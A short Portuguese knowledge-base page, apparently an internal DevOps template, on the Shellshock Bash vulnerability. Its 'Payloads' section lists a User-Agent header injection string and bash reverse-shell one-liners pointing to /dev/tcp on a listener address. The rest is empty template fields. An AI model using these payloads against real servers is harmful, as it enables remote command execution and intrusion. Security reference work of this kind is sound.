Shell Shock

*Autor(es): [email protected] *Mantenedor(es): ** *Departamento: DevOps *Licença(s): **

Visão Geral

Shell Shock: Elevação de Privilégio, Execução Remota de Código Família de bugs no Bash Shell do Unix. Permite a execução de comandos arbitrários.

Vetores de Exploração

---

Payloads

• shellshock user agent = User-Agent: () { :; } ; <$BASH_COMMAND>
• payload rshell = bash -i >& /dev/tcp/127.0.0.1
  • redirecionamento rshell para ouvinte = bash -i >& /dev/tcp/$YOUR_IP:$PORT

Truques

Design:

• Propósito:
• Conteúdo:
• Servidor(es):
  • Aplicação:
  • Banco de Dados:
• Rede:
  • DNS:
  • Rotas:
• Dependências da Aplicação:
• Programas Dependentes:

Uso Básico:

• Uso:

• Casos de Uso Comuns:

• Exemplos:

Testes

Entrada de Teste

• Parâmetros:
• Ações:

Saída do Teste

• Saída:
• Capturas de Tela:
• Vídeo:
• Etc.:

Notas:* [option]: